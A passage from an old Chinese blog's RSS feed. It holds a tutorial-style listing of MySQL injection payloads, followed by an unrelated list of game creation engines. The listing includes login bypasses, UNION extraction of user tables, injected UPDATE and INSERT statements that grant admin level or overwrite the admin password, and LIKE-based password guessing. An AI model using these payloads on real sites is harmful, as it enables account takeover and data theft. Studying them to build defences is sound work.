style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;96</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>（select&nbsp;a&nbsp;FROM&nbsp;table_name&nbsp;where&nbsp;a=10&nbsp;AND&nbsp;B=1&nbsp;ORDER&nbsp;BY&nbsp;a&nbsp;LIMIT&nbsp;10)&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;97</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;article&nbsp;where&nbsp;articleid='$id'&nbsp;union&nbsp;select&nbsp;*&nbsp;FROM<IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif">---（字段和数<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;98</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;99</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>----据库相同情况下，可直接提交）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">100</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;article&nbsp;where&nbsp;articleid='$id'&nbsp;union&nbsp;select&nbsp;1,1,1,1,1,1,1&nbsp;FROM<IMG src="http://www.cnitblog.com/images/dot.gif"><BR></SPAN><SPAN style="COLOR: #008080">101</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">102</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>----<IMG src="http://www.cnitblog.com/images/dot.gif">（不同的情况下）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">103</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>----特殊技巧：在表单，搜索引擎等地方写：&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">104</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>"___"&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">105</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>".__&nbsp;"&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">106</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>"%&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">107</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>%'&nbsp;ORDER&nbsp;BY&nbsp;articleid/*&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">108</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>%'&nbsp;ORDER&nbsp;BY&nbsp;articleid#&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">109</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>__'&nbsp;ORDER&nbsp;BY&nbsp;articleid/*&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">110</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>__'&nbsp;ORDER&nbsp;BY&nbsp;articleid#&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">111</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>$command&nbsp;=&nbsp;"dir&nbsp;c:\";system($command);&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">112</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;article&nbsp;where&nbsp;articleid='$id'&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">113</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;article&nbsp;where&nbsp;articleid=$id&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">114</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>1'&nbsp;and&nbsp;1=2&nbsp;union&nbsp;select&nbsp;*&nbsp;from&nbsp;user&nbsp;where&nbsp;userid=1----/*&nbsp;句中变为&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">115</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>(select&nbsp;*&nbsp;FROM&nbsp;article&nbsp;where&nbsp;articleid='1'&nbsp;and&nbsp;1=2&nbsp;union&nbsp;select&nbsp;*&nbsp;from&nbsp;user&nbsp;wh<BR></SPAN><SPAN style="COLOR: #008080">116</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">117</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>ere&nbsp;userid=1/*')&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">118</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>1&nbsp;and&nbsp;1=2&nbsp;union&nbsp;select&nbsp;*&nbsp;from&nbsp;user&nbsp;where&nbsp;userid=1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">119</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>---语句形式：建立一个库，插入：&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">120</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>create&nbsp;DATABASE&nbsp;`injection`&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">121</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>create&nbsp;TABLE&nbsp;`user`&nbsp;(&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">122</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>`userid`&nbsp;int(11)&nbsp;NOT&nbsp;NULL&nbsp;auto_increment,&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">123</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>`username`&nbsp;varchar(20)&nbsp;NOT&nbsp;NULL&nbsp;default&nbsp;'',&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">124</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>`password`&nbsp;varchar(20)&nbsp;NOT&nbsp;NULL&nbsp;default&nbsp;'',&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">125</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>PRIMARY&nbsp;KEY&nbsp;(`userid`)&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">126</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>)&nbsp;;&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">127</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>insert&nbsp;INTO&nbsp;`user`&nbsp;VALUES&nbsp;(1,&nbsp;'swap',&nbsp;'mypass');&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">128</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">129</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>----插如一个注册用户：&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">130</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>insert&nbsp;INTO&nbsp;`user`&nbsp;(userid,&nbsp;username,&nbsp;password,&nbsp;homepage,&nbsp;userlevel)&nbsp;VALUES&nbsp;('<BR></SPAN><SPAN style="COLOR: #008080">131</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">132</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>',&nbsp;'$username',&nbsp;'$password',&nbsp;'$homepage',&nbsp;'1');&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">133</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>"insert&nbsp;INTO&nbsp;membres&nbsp;(login,password,nom,email,userlevel)&nbsp;VALUES&nbsp;('$login','$p<BR></SPAN><SPAN style="COLOR: #008080">134</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">135</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>ass','$nom','$email','1')";&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">136</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>insert&nbsp;INTO&nbsp;membres&nbsp;(login,password,nom,email,userlevel)&nbsp;VALUES&nbsp;('','','','','<BR></SPAN><SPAN style="COLOR: #008080">137</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">138</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>3')#','1')&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">139</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>"insert&nbsp;INTO&nbsp;membres&nbsp;SET&nbsp;login='$login',password='$pass',nom='$nom',email='$em<BR></SPAN><SPAN style="COLOR: #008080">140</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">141</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>ail'";&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">142</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>insert&nbsp;INTO&nbsp;membres&nbsp;SET&nbsp;login='',password='',nom='',userlevel='3',email=''&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">143</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>"insert&nbsp;INTO&nbsp;membres&nbsp;VALUES&nbsp;('$id','$login','$pass','$nom','$email','1')";&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">144</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>update&nbsp;user&nbsp;SET&nbsp;password='$password',&nbsp;homepage='$homepage'&nbsp;where&nbsp;id='$id'&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">145</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>update&nbsp;user&nbsp;SET&nbsp;password='MD5(mypass)'&nbsp;where&nbsp;username='admin'#)',&nbsp;homepage='$h<BR></SPAN><SPAN style="COLOR: #008080">146</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">147</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>omepage'&nbsp;where&nbsp;id='$id'&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">148</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>"update&nbsp;membres&nbsp;SET&nbsp;password='$pass',nom='$nom',email='$email'&nbsp;where&nbsp;id='$id'"<BR></SPAN><SPAN style="COLOR: #008080">149</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">150</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>;&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">151</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>update&nbsp;membres&nbsp;SET&nbsp;password='[PASS]',nom='',userlevel='3',email='&nbsp;'&nbsp;where&nbsp;id='<BR></SPAN><SPAN style="COLOR: #008080">152</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">153</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>[ID]'&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">154</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>"update&nbsp;news&nbsp;SET&nbsp;Votes=Votes+1,&nbsp;score=score+$note&nbsp;where&nbsp;idnews='$id'";&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">155</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>长用函数：&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">156</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>DATABASE()&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">157</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>USER()&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">158</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>SYSTEM_USER()&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">159</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>SESSION_USER()&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">160</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>CURRENT_USER()&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">161</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>-----比如：&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">162</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>update&nbsp;article&nbsp;SET&nbsp;title=$title&nbsp;where&nbsp;articleid=1&nbsp;对应函数&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">163</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>update&nbsp;article&nbsp;SET&nbsp;title=DATABASE()&nbsp;where&nbsp;id=1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">164</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>----#把当前数据库名更新到title字段&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">165</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>update&nbsp;article&nbsp;SET&nbsp;title=USER()&nbsp;where&nbsp;id=1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">166</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>---#把当前&nbsp;MySQL&nbsp;用户名更新到title字段&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">167</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>update&nbsp;article&nbsp;SET&nbsp;title=SYSTEM_USER()&nbsp;where&nbsp;id=1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">168</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>---#把当前&nbsp;MySQL&nbsp;用户名更新到title字段&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">169</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>update&nbsp;article&nbsp;SET&nbsp;title=SESSION_USER()&nbsp;where&nbsp;id=1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">170</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>---#把当前&nbsp;MySQL&nbsp;用户名更新到title字段&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">171</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>update&nbsp;article&nbsp;SET&nbsp;title=CURRENT_USER()&nbsp;where&nbsp;id=1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">172</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>---#把当前会话被验证匹配的用户名更新到title字段&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">173</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：<BR></SPAN><SPAN style="COLOR: #008080">174</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">175</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">176</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>$req&nbsp;=&nbsp;"select&nbsp;*&nbsp;FROM&nbsp;membres&nbsp;where&nbsp;name&nbsp;like&nbsp;'%$search%'&nbsp;ORDER&nbsp;BY&nbsp;name";&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">177</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;membres&nbsp;where&nbsp;name&nbsp;like&nbsp;'%%'&nbsp;ORDER&nbsp;BY&nbsp;uid#%'&nbsp;ORDER&nbsp;BY&nbsp;name&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">178</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;membres&nbsp;where&nbsp;name&nbsp;like&nbsp;'%%'&nbsp;ORDER&nbsp;BY&nbsp;uid#%'&nbsp;ORDER&nbsp;BY&nbsp;name&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">179</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;uid&nbsp;FROM&nbsp;admins&nbsp;where&nbsp;login=''&nbsp;OR&nbsp;'a'='a'&nbsp;AND&nbsp;password=''&nbsp;OR&nbsp;'a'='a'&nbsp;----（<BR></SPAN><SPAN style="COLOR: #008080">180</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">181</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>经典）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">182</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;uid&nbsp;FROM&nbsp;admins&nbsp;where&nbsp;login=''&nbsp;OR&nbsp;admin_level=1#'&nbsp;AND&nbsp;password=''&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">183</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;msg&nbsp;like&nbsp;'%hop'&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">184</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;uid&nbsp;FROM&nbsp;membres&nbsp;where&nbsp;login='Bob'&nbsp;AND&nbsp;password&nbsp;like&nbsp;'a%'#'&nbsp;AND&nbsp;passwor<BR></SPAN><SPAN style="COLOR: #008080">185</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">186</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>d=''&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">187</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;membres&nbsp;where&nbsp;name&nbsp;like&nbsp;'%%'&nbsp;ORDER&nbsp;BY&nbsp;uid#%'&nbsp;ORDER&nbsp;BY&nbsp;name<BR></SPAN><SPAN style="COLOR: #008080">188</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top></SPAN></DIV></DIV></SPAN><img src ="http://www.cnitblog.com/reene/aggbug/819.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/reene/" target="_blank">快乐着飞舞着</a> 2005-07-08 13:01 <a href="http://www.cnitblog.com/reene/articles/819.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Game creation kits / engines </title><link>http://www.cnitblog.com/reene/articles/701.html</link><dc:creator>快乐着飞舞着</dc:creator><author>快乐着飞舞着</author><pubDate>Sun, 03 Jul 2005 08:06:00 GMT</pubDate><guid>http://www.cnitblog.com/reene/articles/701.html</guid><wfw:comment>http://www.cnitblog.com/reene/comments/701.html</wfw:comment><comments>http://www.cnitblog.com/reene/articles/701.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/reene/comments/commentRss/701.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/reene/services/trackbacks/701.html</trackback:ping><description><![CDATA[<FONT face=Arial><FONT size=2>Game creation kits / engines</FONT> <BR><BR><FONT size=2>(in no specific order)</FONT> </FONT>
<P>
<P><A href="http://www.garagegames.com/pg/product/view.php?id=1"><FONT face=Arial color=#003157>Torque game engine</FONT></A></P>
<P><FONT face=Arial>The Torque Game Engine started life as the technology behind Dynamix/Sierra/Vivendi's products Tribes, Starsiege, and Tribes 2, and is an industry proven engine. It is currently being used by thousands of developers around the world with shipping titles. The Torque Game Engine (TGE) is a fully featured AAA game engine with award winning multi-player network code, seamless indoor/outdoor rendering engines, state of the art skeletal animation, drag and drop GUI creation, a built in world editor, and a C-like scripting language.</FONT></P>
<P><A href="http://conitec.net/a4info.htm"><FONT face=Arial color=#003157>3d gamestudio</FONT></A></P>
<P><FONT face=Arial>With hundreds of published titles, 3D GameStudio is the leading authoring system for all sorts of 2D and 3D realtime applications. It combines a high-end 3D engine, a 2D engine, a physics engine, a map and model editor, a script compiler and huge libraries of 3D objects, artwork and pre-made games.</FONT></P>
<P><A href="http://www.3impact.com/"><FONT face=Arial color=#003157>3Impact Game Engine</FONT></A></P>
<P><FONT face=Arial>Royalty free 3d game engine designed to be easy to use, featuring C++syntax, multi-bone skeletal animation, mesh warping, texture animation,accurate collision response, constraints, stacked objects, wheels withsuspensions, volumetric shadows, particle systems, true mirror surfaces, 3dogg sounds and more.</FONT></P>
<P><A href="http://www.cs.uu.nl/people/markov/gmaker/index.html"><FONT face=Arial color=#003157>Game Maker</FONT></A></P>
<P><FONT face=Arial>Did you always want to design computer games? But you don't want to spend a lot of time learning how to become a programmer? Then you came to the right place. Game Maker is a program that allows you to make exciting computer games without the need to write a single line of code. Using easy to learn drag-and-drop actions you can make professional looking games in little time.</FONT></P>
<P><A href="http://t3dgm.thegamecreators.com/"><FONT face=Arial color=#003157>the 3d game maker</FONT></A><BR><A href="http://www.gamespy.com/reviews/october01/gamemaker/"><FONT face=Arial color=#003157>Gamespy review</FONT></A><FONT face=Arial> </FONT></P>
<P><FONT face=Arial>Now anyone can build their ideal game in seconds. With just one click of a mouse, you can create a uniquely playable game without needing any programming knowledge or artistic skills at all. Offering over 12 billion gaming options, The 3D Gamemaker opens up a whole new concept in gaming, providing fun for all the family.</FONT></P>
<P><A href="http://www.explore-rpg.com/"><FONT face=Arial color=#003157>Explorations</FONT></A></P>
<P><FONT face=Arial>Explorations is an independent role playing game engine. It uses a complex database design to describe all objects and characters within any game world. Explorations features a powerful drag drop map interface that makes creating professional looking maps easy. Import hundreds of pre-made weapons, spells, map objects, and sprites and drop them within your map! Exploration makes map building a snap!</FONT></P>
<P><A href="http://sphere.sourceforge.net/"><FONT face=Arial color=#003157>Sphere</FONT></A><BR>
<P><FONT face=Arial>Sphere is a 2D RPG engine, in development since 1997. It allows people with not much programming experience to create role-playing games like Final Fantasy VI or Phantasy Star. </FONT></P>
<P><A href="http://hamsterrepublic.com/ohrrpgce/"><FONT face=Arial color=#003157>Hamster Republic RPG Construction Engine</FONT></A></P>
<P><FONT face=Arial>The OHRRPGCE is a free utility that you can use to create your own RPG game in a style similar to the classic Final Fantasy games on the NES and SNES which have so shaped the RPG genre.</FONT></P>
<P><A href="http://www.rpgtoolkit.com/"><FONT face=Arial color=#003157>the RPG Toolkit</FONT></A></P>
<P><FONT face=Arial>The RPG Toolkit is an extremely flexible development system for creating Role Playing Games. </FONT></P>
<P><A href="http://www.clickteam.com/English/tgf.htm"><FONT face=Arial color=#003157>The Games Factory</FONT></A></P>
<P><FONT face=Arial>The Games Factory provides everything you need to manufacture Arcade games, Platform games, Adventures, Screen Savers, and much, much, more. You simply click on an object, drag it to the play field, and click on the action it should perform. We supply all the heros, monsters, powerups, and other objects you need, plus the sound and music for your games. Of course, you can easily add your own, custom items if you choose. </FONT></P>
<P><A href="http://www.allitis.com/agast"><FONT face=Arial color=#003157>Agast</FONT></A></P>
<P><FONT face=Arial>AGAST, the Adventure Game Authoring System, is a set of programs used to create and play your own graphic adventure games like those from LucasArts and Sierra On-line. It includes a script compiler, a game interpreter, and utilities to create and import game data.</FONT></P>
<P><A href="http://www.blender3d.org/"><FONT face=Arial color=#003157>Blender</FONT></A></P>
<P><FONT face=Arial>Fully integrated 3D creation suite, which allows modeling, animation, rendering, postproduction, interactive 3D creation and playback.</FONT></P>
<P><A href="http://giftedminds.cjb.net/"><FONT face=Arial color=#003157>Adventure Maker</FONT></A></P>
<P><FONT face=Arial>Game creation kit that allows you to create your own first-person adventure games without any coding.</FONT></P>
<P><A href="http://www.3drad.com/"><FONT face=Arial color=#003157>3d RAD</FONT></A></P>
<P><FONT face=Arial>3D RAD is a programmable, user-friendly, 3d real-time engine<BR>3d RAD features : hardware accelerated 3d graphic support, 3d sound system, very user-friendly object oriented wysiwyg interface, step-by-step tutorials, advanced kinematics effects, multi-split-screen ability. Special effects: colored lights, fog, translucency, smoke, fire, explosions </FONT></P>
<P><A href="http://www.dcgames.com/"><FONT face=Arial color=#003157>DCGames</FONT></A></P>
